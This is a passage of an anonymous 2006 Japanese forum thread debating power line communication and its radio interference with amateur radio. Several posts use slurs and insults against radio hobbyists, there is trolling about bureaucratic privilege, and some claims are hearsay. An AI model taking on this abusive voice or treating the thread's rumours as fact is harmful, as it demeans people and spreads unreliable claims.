228 :名無しさんから2ch各局…:2006/11/29(水) 13:06:02
そもそも中国なんかは外の回線に使ってるからハイパワー
なんですよ。噂では5W以上だとか。昔中国でコードレス電話
がはやっていたけどあれって130Mあたりで5Wで日本で使った
ら楽々1キロは飛んだ。
あんなのが日本に来たら大変だよ。だけどMさんのは屋内用
で出力は2mW程度だそうだよ。勿論ハM以外でも重要通信
周波数にはトラップが入ってる。
でもさ、許可されたらきっと中国製がどんどん入ってきて
しまうよなあ。噂ではもう売られてるらしいしな。


229 :名無しさんから2ch各局…:2006/11/29(水) 13:09:54
何でもええや、受信障害が出たら相無償に言えばええんやろ。

230 :名無しさんから2ch各局…:2006/11/29(水) 13:53:10
医療機器とかならともかく、アマ無線では障害が出ても総務省も大して相手
してくれんでしょう。

231 :名無しさんから2ch各局…:2006/11/29(水) 14:16:10
ゴリ押しでノイズ発生装置PLCを横行させるんなら

ハムも加担して違法CB大復活だ。

232 :名無しさんから2ch各局…:2006/11/29(水) 15:29:38
>197
http://blogs.yahoo.co.jp/bij7n3

233 :名無しさんから2ch各局…:2006/11/29(水) 15:49:48
>>195

俺は山登りが趣味なんだが、同じように山登りが好きな奴でも色んな奴がいてねぇ。
体力作りが主目的の奴、よい景色を写真に収めるのが主目的の奴、俺のように綺麗な
空気を吸いたくて山に登る奴etc.

それがな、今後山の中に排気ガスが出る発電所を作るってのが許されたらしい。
まぁ電気は必要だから、公共の福祉云々って言われればそうなんだろうけど・・・。
体力つくりが目的の人は反対していないようだし、写真撮影が目的の人も大した心配
はしてないらしい。
しかし、俺のように澄んだ空気を求めてる奴には辛い話だよ。
目的を体力つくりにしなって言われてもなぁ。

234 :名無しさんから2ch各局…:2006/11/29(水) 16:22:46
>>195

今度自宅の前に高速道路が出来ることになったんだ。物流は大事だし食料も
郵便も道路を使って運ばれる。必要なのは分かるんだが、これで散歩に良い
公園も、子供と遊ぶ広場も皆無くなってしまうんだよ。おまけに二階は道路
のすぐ前で、排気ガスも心配だ。公共の福祉の前には反対しちゃいけないよ
ね?

235 :名無しさんから2ch各局…:2006/11/29(水) 17:16:13
>>234
当たり前だろ
お前がいつも使っている高速道路も鉄道もそうやって造られてきたんだ


236 :名無しさんから2ch各局…:2006/11/29(水) 19:10:45
>>227
使っている国は,確かにたくさんある。
しかし,普及している国は皆無。

撤退を決めた通信会社などは山ほど有り。

237 :名無しさんから2ch各局…:2006/11/29(水) 20:25:31
>>235
233にも突っ込んでみてくれないか

238 :名無しさんから2ch各局…:2006/11/29(水) 20:28:46
>>234
公共の福祉ってなんですか? 簡潔に説明してください。

239 :名無しさんから2ch各局…:2006/11/29(水) 20:42:00
>>234
基地外の権利を剥奪することです。

だから、PLC普及にために尼無線のHF帯を廃止にしろよ

240 :名無しさんから2ch各局…:2006/11/29(水) 20:56:54
>>239
アンカーが違ってませんか。もう一度聞きます。
公共の福祉ってなんですか? 簡潔に説明してください。
基地外の権利を剥奪することではありませんよ。
分からないのであれば、中学校に戻って復習してきてください。

241 :名無しさんから2ch各局…:2006/11/29(水) 21:19:32
JARLも殆どのハムもPLCなんて直ぐに廃ると思っているのにここにいる
数人いや一人かも、は必死に喚いている。そんな暇があったらDXでもやってろよな。


242 :名無しさんから2ch各局…:2006/11/29(水) 21:22:38
>>240
公共の福祉の本当の意味(建前でない本音意味、学校で教えるのは建前)は
基地外の権利を剥奪すること!

基地外害虫 尼無線の権利剥奪汁


243 :名無しさんから2ch各局…:2006/11/29(水) 21:24:35
>>242
なーんだ、知らないのか。教養のないやつはこれだから困るな。

244 :名無しさんから2ch各局…:2006/11/29(水) 21:30:33
公共の福祉と言えば成田の反対闘争、あれほどの無駄も無い。確かに先
祖伝来の土地だろうし個人の権利も大切だが、闘争対策で一体どの位の
税金が使われているか。警備や設計変更、利用者の不利益で100億円は
くだるまい。そう考えると>242の意見もあながち暴論とは言えない。
すれ違い、スマソ

245 :名無しさんから2ch各局…:2006/11/29(水) 21:36:58
基地外害虫 尼無線は廃止
テレビ、ラジオ、電話に妨害与えてるし、困った物だよ、基地外害虫 尼無線蚊は

246 :名無しさんから2ch各局…:2006/11/29(水) 21:53:24
>>245
やーい、無教養

247 :名無しさんから2ch各局…:2006/11/29(水) 21:57:22
アマチュア無線はオナニー(基本だよ)

248 :名無しさんから2ch各局…:2006/11/29(水) 21:58:13
ここはあまりに低レベルなインターネットですね

249 :名無しさんから2ch各局…:2006/11/29(水) 22:00:14
教養ないやついるしな

250 :名無しさんから2ch各局…:2006/11/29(水) 22:11:58
教養がないからPLCを実現しようとしたんだろ?

251 :名無しさんから2ch各局…:2006/11/29(水) 22:19:49
教養ない香具師より違法行為を行ってる尼無線蚊がほうがイクナイよなー
尼無線蚊って違法なことやって香具師がほんとにおおいんだってね
やーーーーい、違法尼無線蚊、
子供とか、周りの人に言ってみろ、俺は違法尼無線をやってまーす
罪悪感全く無いです、ばれなきゃ違法常套だーーー、みんな俺を見習えって


252 :名無しさんから2ch各局…:2006/11/29(水) 22:32:49
>>251
こんなところで書き込んでいないで,地方総合通信局のご意見欄に通報すればいいよ。

http://homepage3.nifty.com/license/radio/rad0005.html

ここね ↑

253 :名無しさんから2ch各局…:2006/11/29(水) 23:06:40
売る前から,売る側が「これだけの問題があります」と注意する商品は珍しい。

恐らく,日本初ではないか?


254 :名無しさんから2ch各局…:2006/11/29(水) 23:23:27
>>253
違法尼無線よりは良いんじゃね、法律違反してないし

255 :名無しさんから2ch各局…:2006/11/29(水) 23:37:28
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256 :名無しさんから2ch各局…:2006/11/29(水) 23:38:02
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257 :名無しさんから2ch各局…:2006/11/29(水) 23:39:56
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258 :名無しさんから2ch各局…:2006/11/29(水) 23:47:36
>>254
それは違う。

不法なことを「合法化」しちまったのが間違い。
でなければ,厚生労働省があんな通知を出すか?
総務省の犯した致命的なミスを厚労省が指摘したのさ。

259 :名無しさんから2ch各局…:2006/11/29(水) 23:50:59
http://hfplc.jpn.org/index.php?itemid=483

厚生労働省「PLC機器の運用に伴う医療機器への影響は否定できない」、都道府県等に通知


260 :名無しさんから2ch各局…:2006/11/30(木) 00:00:18
尼無線の運用に伴う人体の影響はPLCよりはるかに大きい

261 :名無しさんから2ch各局…:2006/11/30(木) 00:02:32
>>260
深夜料金いくら


262 :名無しさんから2ch各局…:2006/11/30(木) 00:02:44
コレ見ろ
ttp://otd12.jbbs.livedoor.jp/1000035663/bbs_plain


263 :名無しさんから2ch各局…:2006/11/30(木) 00:03:24
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264 :名無しさんから2ch各局…:2006/11/30(木) 00:25:37
強力な基地外尼無線の電波は人体に影響をおよぼす、人体にだぜ、こわーー
おまえら、電波防護指針なんて無視してんだろ、オバー出力常套だからな
近所のテレビ、ラジオ、電話を妨害与えるだけでなく、近所の人々の健康までも害してる基地外尼無線蚊

265 :名無しさんから2ch各局…:2006/11/30(木) 00:37:37
>>264
通報しろよ

2ちゃんねるに書き込んだって無意味だよーーーん

266 :名無しさんから2ch各局…:2006/11/30(木) 00:57:05
つーか、荒らしてる時点で推進派のアホさ加減を宣伝しているような
ものなんだが。

267 :名無しさんから2ch各局…:2006/11/30(木) 00:58:37
医療機器への影響の件は,マスコミが嗅ぎつけたようだ

268 :名無しさんから2ch各局…:2006/11/30(木) 01:19:21
>>265
漏れは荒らしてはいないよ、基地外尼無線の実情を述べているだけだ

>>264
まずは自分たちで何とかしようと思わないのか、ま、違法行為常套の香具師らだから無理だろうがなw

糞尼無線に対しては厳重警告を出して欲しいですね、厚生労働省
近所に糞尼無線蚊がいたら医療機器が誤動作する可能性が非常に高いと

269 :名無しさんから2ch各局…:2006/11/30(木) 02:35:59
もう、戦争なんだよ。ゲリラ戦もあれば核攻撃もあるんだ。
もう、文末にwをつけている場合ではない。
もう、2ちゃんねるに書き込んでいる場合ではない。
PLC殲滅まで、もう誰も撃ち方を止めない。
すべてに攻撃を、すべてに反撃を、
最後の1台がこの世から消えるまで。

270 :名無しさんから2ch各局…:2006/11/30(木) 04:05:02
みんなのための技術革新だから、抵抗しても無駄ジャマイカ。

ある日、みんなの公園を作る計画が決まり、計画域の住民は
用地買収。死ぬまでここに住むんだと言っても、強制退去。
理由はみんなの為だから。

ネット人口に比べ、アマ人口なんてゴマ粒くらいの小さなもの。
大きい利益の為なら、多少の犠牲は仕方ないで終わり。

そろそろ目覚めたらどうですか?
アマを保護しても、国民生活は、豊かにならない。
アマを犠牲にすれば、多くの国民は文化的に豊かになり、
その利益は大きい。



271 :名無しさんから2ch各局…:2006/11/30(木) 04:08:52
All Aboutの記事にあったけどさ、これ↓って実験しようとする事自体が違法なんじゃなかったっけ?

・電柱を経由して接続ができるかを実験してみる。

屋外使用許可されてないよね、確か。

配電盤経由でも38Mで通信できるんなら、マンションとかなら隣の盤通って
数Mくらいで普通に繋がったりしそうな気がするなあ・・・
一度盤に入って出ていくのに内向きと外向きでどれくらいの違いがあるんじゃろ?

272 :名無しさんから2ch各局…:2006/11/30(木) 06:27:36
ここでヒステリックになって反対しているのは異常性格者。
たった一人でよく暴れるよ。
社会からみたらPLCのほうが需要だとだれだってわかるだろ。
日本のアマチュアが社会の何に貢献したんだよ。

273 :名無しさんから2ch各局…:2006/11/30(木) 07:49:03
http://headlines.yahoo.co.jp/hl?a=20061128-00000027-bcn-sci
>クノロジー総合ニュース - 11月28日(火)22時16分 ニュース記事写真動画トピックスNewsWatch 条件検索

>[新製品]I・Oデータ、PLC機器に参入、電力線で最大190Mbpsの通信が可能なアダプター
こういう誇大宣伝に簡単に引っかかるというのがね。さすが BCN。
あいおーは無線LANの誇大宣伝で2回公正取引委員会から注意を受けています。
こういうことを繰り返すところであることを知っておいてください。




274 :名無しさんから2ch各局…:2006/11/30(木) 07:59:49
 正しく安全に利用するということについて、メーカーの努力は為されていない
事は数々の事件で証明されており、お金目的のために環境を破壊するのは
一時の麻薬に等しい行為である。これまでの小泉時代における改革開放は
行き過ぎであり、その残した負の遺産が噴出しているではないか?

 多くの投資詐欺や弱者を狙った詐欺事件の続発がそうではないのか?
国民はその新技術に対する「安全性」に疑問を持っており、総務省の
アンケート調査でも証明済み。

 国民は改革解放についてこれない。騒いでいるのは金目当てで経営リスクの
高い企業ばかりである。

 繰り返すが、国民はついてきていない。ネット犯罪は爆発的な勢いで多くの
詐欺行為をばら撒いた。現状の制度では「すでに破綻と等しい状態。」
すべて自己責任で押し付ける世界を作って儲けるのは強者のみ。
本当にそれでよいのか。 


275 :名無しさんから2ch各局…:2006/11/30(木) 08:15:53

電波の世界も同じ。問題なし。


276 :名無しさんから2ch各局…:2006/11/30(木) 08:34:05
>>270
憲法第29条に基づき正当な補償を受けられる
私有財産の公共使用と一緒にするなよ。

だいたい、アマチュア無線あっての電子立国
日本だぞ。アマチュア無線がなければいまの
本業に進まなかったであろう技術者は多い。

277 :名無しさんから2ch各局…:2006/11/30(木) 08:44:50
>>276
過去の話。今ではまともな技術志向の人間は無線などやらんわ。
そんなこと思ってるのはアンタとJARLの老人だけだ。



278 :名無しさんから2ch各局…:2006/11/30(木) 08:45:12
>>272
性格異常者という表現は誹謗中傷。
100人を超える原告団をもって、たった一人で暴れるとは事実誤認。
「だれだってわかる、日本のアマチュアが社会の何に貢献したんだよ、」
これは論理のすり替え。

書いていて、自分で恥ずかしくならないのか?




279 :名無しさんから2ch各局…:2006/11/30(木) 08:48:03
>>276
それは20年前までの話だ、もうアマチュアの役目は終わった
今頃そんなこと言ってたら笑いものだぞ


280 :名無しさんから2ch各局…:2006/11/30(木) 08:59:36
>>278
原告団なんて格好いいものじゃないだろう。どうせ数人が扇動して残りは何も
分からずに訴訟費用を負担させられてるだけじゃないのか。
そもそも国民として電波環境を守りたいのかアマチュアのエゴとして自分達の
遊び場を荒らされたくないのかの意志統一もできていないのに。
俺は国民として極端に電波環境を破壊しないのであればPLC技術は日本のインター
ネット環境を改善する一手だと思ってる。今の時代無線周波数それも短波にに
ちょっとくらいノイズが入って騒ぐのはアマチュア、それも一部のDXerくらいな
もの。もう少し社会全体を見てから動いたらどうだい。
既にJARLだってPLC機を入手して初期実験して噂されるノイズの海にならないこと
を確認してるんだからな。訴訟団も早く実験しないと門前払いされるぞ。


281 :名無しさんから2ch各局…:2006/11/30(木) 09:11:37
>>270
悪魔の辞典より

「みんな」 = 自分と同じ考えを持つ仲間約数名

282 :名無しさんから2ch各局…:2006/11/30(木) 09:12:58
http://hfplc.jpn.org/index.php?itemid=483

厚生労働省「PLC機器の運用に伴う医療機器への影響は否定できない」、都道府県等に通知

283 :名無しさんから2ch各局…:2006/11/30(木) 09:18:12
ところでアマチュア無線機って医療機器に問題を
起さないんでしょ。そういう警告は厚生労働省か
らは出されていないからね。
待合室でガンガン使おうぜ。


284 :名無しさんから2ch各局…:2006/11/30(木) 09:36:06
>>280
>>283
本当にPLCを理解していないな。
ノイズは装置からではなく、配電線から出るんだよ。
もしも本当にJARLが実験したならば、
それは実験箇所の配電線を実験したってことなんだよ。

医療機器の問題もそうだ。待合室で24時間送信するか?
医療機器と直接つないで送信するか?
PLCは24時間、医療機器と直接つないで送信する装置なんだよ。

もしも理解していないならば、勉強しろ。
理解していての書き込みなら、詭弁は止めろ。

285 :名無しさんから2ch各局…:2006/11/30(木) 10:21:48
ところでPLCの実行出力って知っていますか。1mW以下なんでしょ。
これでも問題が起きるんですか。


286 :名無しさんから2ch各局…:2006/11/30(木) 10:24:09
JARL関西で実験したということですが友人から聞いたら隣家で使っていて
タワーにビームを乗せて運用した場合全く問題にならなかったんだって。
こういうレポートが続々出てきてもまだ反対派は脅かすことしかできない
んですか。いい加減にしたらどうですか。


287 :名無しさんから2ch各局…:2006/11/30(木) 10:26:50
田中支部長も確認でしょ。JARL本部は来週実権ですって。


288 :名無しさんから2ch各局…:2006/11/30(木) 11:05:32
次第に反対派が大げさだということが見えてきたな。自分達で実験する能力も無い連中がただ騒いでいたということが見えてきた。


289 :名無しさんから2ch各局…:2006/11/30(木) 11:23:05
それで訴訟はどうなったのでしょうか?
もうやめたというのなら賢い判断だと言えますね


290 :名無しさんから2ch各局…:2006/11/30(木) 11:42:31
12/3に池田市民会館でPLCについての講演があるそうだ。ひまなら行って
みたら。

291 :名無しさんから2ch各局…:2006/11/30(木) 11:46:54
QRNやQRMだけを考えた場合でも、PLCより害の大きいものが
多すぎるんだな
隣国からのレーダーとか、ローカルのオッサンとか

292 :名無しさんから2ch各局…:2006/11/30(木) 12:18:44
平日の昼になると、どうして288とか289みたいなのが増えるのかな。

293 :名無しさんから2ch各局…:2006/11/30(木) 12:34:25
>>270
はやく「公共の福祉」の説明をしろよ(笑)。

294 :名無しさんから2ch各局…:2006/11/30(木) 12:38:31
>>289
俺は個人的に隣近所で使い始めたときにやっつけるよ。
隣近所の人と組んで、メーカーを吊るし上げるつもり。

295 :294:2006/11/30(木) 12:42:20
>>270
そうそう、あなたのようなお利巧な方を説得する知恵を(俺は)持ち合わせて無いんで
あしからずね。
その代わり、役人向上丸出しの奴とか、人の不幸の上で商売してる奴とか、徹底的に
文句言わせて貰ってるから、ストレスは全く無いんだよこれが。
特に >>270 のような考え方は大嫌いでねぇ。
いつか会うことが合ったら、人前で怒鳴りまくってあげるね(笑)

296 :294:2006/11/30(木) 12:43:36
役人向上→役人根性
合ったら→有ったら

297 :名無しさんから2ch各局…:2006/11/30(木) 12:46:34
>>294
まあ潔癖症なのは認めてあげるけど、匿名掲示板では雄弁の
典型的な引きこもりに思えるな、精々物影から吠えればよし。

298 :名無しさんから2ch各局…:2006/11/30(木) 12:55:20
>294
脳内無敵なのは分かるけど隣近所って普通の人でしょ?

訳判らない巨大なアンテナを上げているアンタの様な変人と
組んでくれるモノなのか・・・? そもそも疑問w


299 :名無しさんから2ch各局…:2006/11/30(木) 12:56:41
近隣の鼻つまみ者の一人相撲ってことだろ<ぷ

300 :名無しさんから2ch各局…:2006/11/30(木) 12:58:04
やれ!やれ!もっと

301 :名無しさんから2ch各局…:2006/11/30(木) 13:03:21
>>270
は逆説と思われ
全体主義、長いモノに巻かれろ主義は、オレも嫌いだ。


302 :名無しさんから2ch各局…:2006/11/30(木) 13:13:37
>>294
隣近所に吊るし上げられそうなヤツだな。

303 :名無しさんから2ch各局…:2006/11/30(木) 13:15:16
>>301
と、全体主義、長いモノに巻かれろ主義にドップリの香具師が言ってます。

304 :名無しさんから2ch各局…:2006/11/30(木) 13:19:52
嫌いだけなら俺もナw

305 :名無しさんから2ch各局…:2006/11/30(木) 13:24:22
普段インタフェアーで被害側が互角で勝負できる様になった分けか
いいんじゃない、お宅のノイズを我慢するから
こっちの愛も受け入れてとお互い様で。

306 :名無しさんから2ch各局…:2006/11/30(木) 13:32:25
電力線通信解禁か。漏れアンテナやめてコンセントにリニア突っ込みました。

307 :名無しさんから2ch各局…:2006/11/30(木) 13:43:15
近隣住人からPLCが使えないので、廃局願いの署名に捺印させられました。
なんでも、100軒ハンコを集めれば廃局に追い込める様です。

308 :名無しさんから2ch各局…:2006/11/30(木) 14:18:35
>276
昔、150MHzを取られ、新たに430MHzを与えられた事を
忘れたのか?というか知らないのか?


309 :名無しさんから2ch各局…:2006/11/30(木) 14:26:54
>>306
普通はコンセントにリニアを突っ込むもんだが?w

310 :名無しさんから2ch各局…:2006/11/30(木) 14:30:07
>>308
初耳!
詳しく教えてくださいな

311 :名無しさんから2ch各局…:2006/11/30(木) 14:35:42
>276のバカと>293のUNKTT(うんこチンチン)
憲法29条の2項を読め。
>293のリクに答えて
一元的内在制約説だ。
これでわかるだろう。わからなきゃUNKTTは、消えろ。

あとね、公共の福祉には、自由国家的公共の福祉と
社会国家的公共の福祉は、分けているのを知ってるの?
知らないのかな?どちらを説明ればいいのかも明記しろよUNKTT

312 :名無しさんから2ch各局…:2006/11/30(木) 14:37:56
>310
消防が使ってる150MHzは、アマバンドだったの。
だけど、消防無線で使いたいからって、150MHzを
消防にとられました。代わりに新たに430MHzというバンドを
アマチュアバンドとして、新設した歴史が過去にある。

313 :名無しさんから2ch各局…:2006/11/30(木) 15:11:01
>>312
いつの話なん?

314 :276:2006/11/30(木) 15:20:46
>>308
昔そんなこともあったが、今は違う。

3.8MHz帯拡大がアクションプランに載っているが、
そこもPLCのノイズの中。だいたい、米軍は立ち
退かず、WARC-92で放送バンドに分配された
周波数から逃れてきた各種業務局で一杯だから、
拡大といってもお印程度。

原会長が数年前、「3.8MHz帯のコマーシャル局は
なくなりつつある」と言っていたが、それは他周波数
から移行させてくるために空けていただけのこと。
ミリタリー局は依然あるしね。

315 :名無しさんから2ch各局…:2006/11/30(木) 16:41:42
>>312
144Mhz〜148Mhzの146Mhz〜148Mhzが削られたんだろ。



とネタにマジレスしてみるw

316 :名無しさんから2ch各局…:2006/11/30(木) 16:53:34
あれは、昭和35年の6月末の事、今でも覚えておるよ・・・
特例で8月末まで使えたので、残暑の厳しい中、全国の仲間と交信したもんじゃ

317 :名無しさんから2ch各局…:2006/11/30(木) 18:35:53
This is a real amateur radio station , oh!

http://radio-dream.com/je1cka/je1cka_599.html

318 :名無しさんから2ch各局…:2006/11/30(木) 18:37:04
しかし,推進派社蓄は,給料をもらいながら昼間ネットに捏造記事を書き込まされているんだ。
実に,ご苦労。実に,気の毒。

生活のためなら,何でもやるのか? >>人生考え直せ,社蓄くん

319 :名無しさんから2ch各局…:2006/11/30(木) 18:39:02
PLCって画期的な新技術だと思うのだが、電柱を地中化させる方が先だろ

320 :名無しさんから2ch各局…:2006/11/30(木) 18:46:13
>>319
50年前からある画期的新技術,ね。

321 :名無しさんから2ch各局…:2006/11/30(木) 18:49:10
朝から晩までplcのことだけ考えて反対に夢中になってるオヤジもさみしいのう。
そもそもplcが出たって何もアマチュア無線に影響ないだろ。もし嫌だったら金
でも貯めてノイズの無いところで無線やればいいじゃねえの。そういうことも
できない貧乏人が騒いでるだけや。
俺ならこれこそ千載一遇のチャンスだと思うぜ。だって多くのjaがノイズで悩ま
されている時にどこかの別宅シャックで楽々dxができるじゃねえか。
ものは考えようだよ。


322 :名無しさんから2ch各局…:2006/11/30(木) 19:41:25
近所に、2haくらいの新規造成した宅地がある。
まだ建物は全然ないのだが、真新しい電柱に
電線・電話線が整然と引かれている。

どうせ上下水道のために穴掘ったんだろうけど、
電線と電話線は架空で親切というわけ。いまある
ものの「地中化」なんて補助金無しでは無理。

323 :名無しさんから2ch各局…:2006/11/30(木) 20:35:30
>320
研究と、実用化を混同しちゃダメだよ。ヴァカ。
今、新発売の車の研究が始まったのは何年前か知ってんの?
そこのところを混同されると、話にならん。

開発の着手から、実用的なレベルに持っていくにはかなりの期間かかるのだよ。
まあ、技術屋じゃないバッカスにはわからんだろうがな。


324 :E7JIS 荷甘:2006/11/30(木) 20:36:49
I Love YL Lingerie & Masturbation .

325 :名無しさんから2ch各局…:2006/11/30(木) 20:46:14
>>311
きみ、いったいどっちの立場なの?

326 :名無しさんから2ch各局…:2006/11/30(木) 20:58:26
>321
金があっても無線の為の別宅などは考えない人も多いんだよ。
(君こそ無銭家、夢想家のようだね。)

327 :名無しさんから2ch各局…:2006/11/30(木) 21:02:42
銀座のおねえちゃんの為に別宅を買って与えてる俺。


328 :294:2006/11/30(木) 21:24:51
>>297-300 >>302
余計なお世話なんだがねぇ
近隣とは随分うまくやれせてもらってますよ、どでかいアンテナ上げてますけどね。
止め切れてないインターフェアもありますよ。
でもお互い様じゃないですか?
向かいの小学生の男の子はサッカーボールをうちの車庫にガンガンぶつけるし、隣の
高校生は夜中に音楽うるさいし、斜め向かいはどでかいバイク乗り。
お互い様じゃないですかね。
いちいち吊るし上げてたらキリがありませんわ。
まともな人間関係が保たれているところは、あなたの心配は必要ないようですよ。

>>307
>なんでも、100軒ハンコを集めれば廃局に追い込める様です
恥ずかしげもなく中途半端な知識を人前に出すんじゃねぇよ
間違ったことを信じるバカが無駄なことやっちゃ可哀想だろう

>>321
>もし嫌だったら金でも貯めてノイズの無いところで無線やれば
ええっ?
オイズが出たら留めさせる権利があるのに何故わざわざ移動しなけりゃならんの?

329 :294:2006/11/30(木) 21:26:10
オイズが出たら留めさせる
    ↓
ノイズが出たら止めさせる

330 :名無しさんから2ch各局…:2006/11/30(木) 21:35:15
>328
まず、余計なお世話と感じるなら、はじめから2chに書き込みする
べきではなかったでしょうね。

色々言われたくないのであれば、自分の心にとどめ、書き込む必要などない。

331 :名無しさんから2ch各局…:2006/11/30(木) 21:52:31
>>323
まさか,キミ,今回(2002年以降)のPLC騒動が,3度目だってことを知らないで書き込みしている?
だいたい10年間隔で,PLC実用化という騒ぎがあったんだが,その度にポシャった。

さすがに今回は,昔昔からあった長波帯を用いるものではなく,短波帯をという話なのだが。

歴史を調べてみなさい。参考文献を教えてあげよう
http://www.katayama.nuee.nagoya-u.ac.jp/works/PLC/sice-2005-06.pdf

332 :名無しさんから2ch各局…:2006/11/30(木) 23:10:32
むかついたから、PLC導入してやる。
クソ平民どもががたがたぬかしやがって。
役所敵に回すとたいへんだぞ。
これからは、談合もやらせたあげない。
そうなれば、お前らの会社、社員を食わせられねえぞ。
取引停止。

俺は天下って、退職金だけで、総額1億を超えて、
公務員共済でセレブな年金生活を送るぜ。
ばいばい平民ども。

333 :名無しさんから2ch各局…:2006/11/30(木) 23:13:27
>331
そんな事は承知しております。
おせっかいは、丁重にお断りします。

334 :名無しさんから2ch各局…:2006/11/30(木) 23:19:42
>>333
そのまま熨斗をつけて返してあげる。

>研究と、実用化を混同しちゃダメだよ。ヴァカ。
>今、新発売の車の研究が始まったのは何年前か知ってんの?
>そこのところを混同されると、話にならん。

>開発の着手から、実用的なレベルに持っていくにはかなりの期間かかるのだよ。
>まあ、技術屋じゃないバッカスにはわからんだろうがな。


335 :名無しさんから2ch各局…:2006/11/30(木) 23:20:40
所詮、アマ無線なんてただの趣味でしょ。
無線人口も少ないし。
国を動かす力すらない。
だから、こんな所で愚痴をいうしかない。

本気で反対するなら、こんなところでグチグチ言ってないで、
駅前に立って、署名活動でもすればいいじゃん。
それができないなら、その程度しか考えてない。実害がない
って事。
ごくわずかの人の趣味を保護するほど、日本は寛容でないのだよ。


336 :名無しさんから2ch各局…:2006/11/30(木) 23:21:45
>334
さらにそのまま熨斗をつけて返してあげる。

>研究と、実用化を混同しちゃダメだよ。ヴァカ。
>今、新発売の車の研究が始まったのは何年前か知ってんの?
>そこのところを混同されると、話にならん。

>開発の着手から、実用的なレベルに持っていくにはかなりの期間かかるのだよ。
>まあ、技術屋じゃないバッカスにはわからんだろうがな。





337 :名無しさんから2ch各局…:2006/11/30(木) 23:23:00
>>332
高級官僚がPLCを入れるか?
カネがない,III級で入ったヒラだからじゃないのか?

338 :名無しさんから2ch各局…:2006/11/30(木) 23:23:42
>>336
あっはっは!
知らなかった歴史を知って愕然としていやがる(爆笑)

339 :名無しさんから2ch各局…:2006/11/30(木) 23:25:09
パナソニックのOEM製品に,注意書きてんこ盛り
http://www.iodata.jp/prod/network/plcadapter/2006/plc-etm/index.htm#05

※ 手術室、集中治療室などの電源コンセントには接続しないでください。
本製品の高周波信号が、医療電気機器に影響を及ぼすことがあり、誤動作による事故の原因と
なることがあります。

※ 本製品の使用により、近傍の無線設備に継続的かつ重大な妨害が発生する時は、
妨害を除去する必要な措置を命じられることがあります。


340 :名無しさんから2ch各局…:2006/11/30(木) 23:25:58
PLCを妨害するPLCが発売へ
http://itpro.nikkeibp.co.jp/article/NEWS/20061130/255524/

341 :名無しさんから2ch各局…:2006/11/30(木) 23:26:37
確かに金はない。
俺の所有する不動産も評価額は、2億くらいかな?
おじいに貰ったマンソンも含めて。

でも、学歴とオヤジのコネはあるから。

342 :名無しさんから2ch各局…:2006/11/30(木) 23:29:41
アマ無線やってるヤツって気持ち悪い。
と、某アイドルが申しておりました。

気持ち悪いよね。コイツら。

343 :名無しさんから2ch各局…:2006/11/30(木) 23:31:23
>>342
某アイドルって誰

344 :名無しさんから2ch各局…:2006/11/30(木) 23:31:51
お前ら気持ち悪い。

345 :名無しさんから2ch各局…:2006/11/30(木) 23:33:25
普通のアイドルなんかだとアマの存在すら知らんだろうにな。

346 :名無しさんから2ch各局…:2006/11/30(木) 23:35:34
そういう事が気持ち悪いって気づけよ。
ふつう、そういう流れに話持っていかないだろ。
そういう所が気持ち悪く思われるんだぜ。

347 :名無しさんから2ch各局…:2006/11/30(木) 23:36:19
ネチネチネチネチしてまんなぁ〜

348 :名無しさんから2ch各局…:2006/11/30(木) 23:37:48
>>341
学歴って,高卒のことか?
だれでも高校くらいは出ているだろうが。そんなのは学歴とは言わない。
大学卒でも学歴があるとは言わない。

349 :名無しさんから2ch各局…:2006/11/30(木) 23:38:11
>>322
そうかな
うちのエリアでは電線を地中化しただけで土地が6割もあがった。
去年は坪100万そこそこが今年は160万だよ。
今の時代金持はさらに金持になるんだよ。


350 :名無しさんから2ch各局…:2006/11/30(木) 23:41:34
>348
平民の間では、学歴は高卒の事なんですか?

我々の言う学歴とは、出身校の事です。
上司と同じ大学でないと、出世はないですけどね。



351 :名無しさんから2ch各局…:2006/11/30(木) 23:42:33
>>350
で,アンタは東大でも出ているのかい?

352 :名無しさんから2ch各局…:2006/11/30(木) 23:43:31
文1ですがなにか?

353 :名無しさんから2ch各局…:2006/11/30(木) 23:45:16
どうせ学部しか出ていないんだろ?

354 :名無しさんから2ch各局…:2006/11/30(木) 23:46:34
もし本当に東大法学部を出ていて,こんな時間に2ちゃんねるしてたとしたら,
オチこぼれだよな。東大法卒としては(笑)

355 :名無しさんから2ch各局…:2006/11/30(木) 23:47:03
確かにそうですね。
国家公務員試験落ちたら院の方に行こうと思ってたんですが、
まあ受かったんで、そっちにいきました。

356 :名無しさんから2ch各局…:2006/11/30(木) 23:48:01
>>352
どうせ,ネット上じゃ,適当に嘘を言ってもわからないしね!
夢を語っただけ,ということにしておこう。

357 :名無しさんから2ch各局…:2006/11/30(木) 23:49:02
落ちこぼれです。
別に一生懸命働かなくても、楽に出世できますからね。
テキトーにやってますよ。

358 :名無しさんから2ch各局…:2006/11/30(木) 23:49:42
>>355
最近できた東大同窓会の会報はなんという名?
卒業生なら知っているはずだ。

359 :名無しさんから2ch各局…:2006/11/30(木) 23:50:15
>>357
ああ,そういうことにしておくよ。

360 :名無しさんから2ch各局…:2006/11/30(木) 23:51:47
一生懸命税金払ってくださいね。
僕たちの大事な共済にあてるので。


361 :名無しさんから2ch各局…:2006/12/01(金) 00:49:10
              -ー=-‐ 、__
          , r '"        ヽ,
          l             ' ,
         /   三ニ=ー-'`=ニiiiiiiiiiiil
        /  ニ'"       `ヾiiiiiiii|
        /  ニ'           'liiiiii|
       ,l   |,r=-;.,_   _,、-=-、|iiiiil
       l  .il .,rェェ、_" :;"ェェ j  |iiiiiil
       | . i| ,,     :;   ,,  iiiiiiil
       ,|   il,    , :: ,    liiiiiill
       l   iil,    ` '      ,|iiiiiiii|
      /     l、  ー- -,ー   イiiiiiiiiill
      /      iゝ、  ̄  /|iiiiiiiiiiiil
     /      i| `ー- ' " ,liiiiiiiiiiii|
  
    クソス・レータ・テルナー[Qtosleata Telnault]
         (1946〜1992 イタリア)

362 :名無しさんから2ch各局…:2006/12/01(金) 00:49:54
>1
              -ー=-‐ 、__
          , r '"        ヽ,
          l             ' ,
         /   三ニ=ー-'`=ニiiiiiiiiiiil
        /  ニ'"       `ヾiiiiiiii|
        /  ニ'           'liiiiii|
       ,l   |,r=-;.,_   _,、-=-、|iiiiil
       l  .il .,rェェ、_" :;"ェェ j  |iiiiiil
       | . i| ,,     :;   ,,  iiiiiiil
       ,|   il,    , :: ,    liiiiiill
       l   iil,    ` '      ,|iiiiiiii|
      /     l、  ー- -,ー   イiiiiiiiiill
      /      iゝ、  ̄  /|iiiiiiiiiiiil
     /      i| `ー- ' " ,liiiiiiiiiiii|
  
    クソス・レータ・テルナー[Qtosleata Telnault]
         (1946〜1992 イタリア)

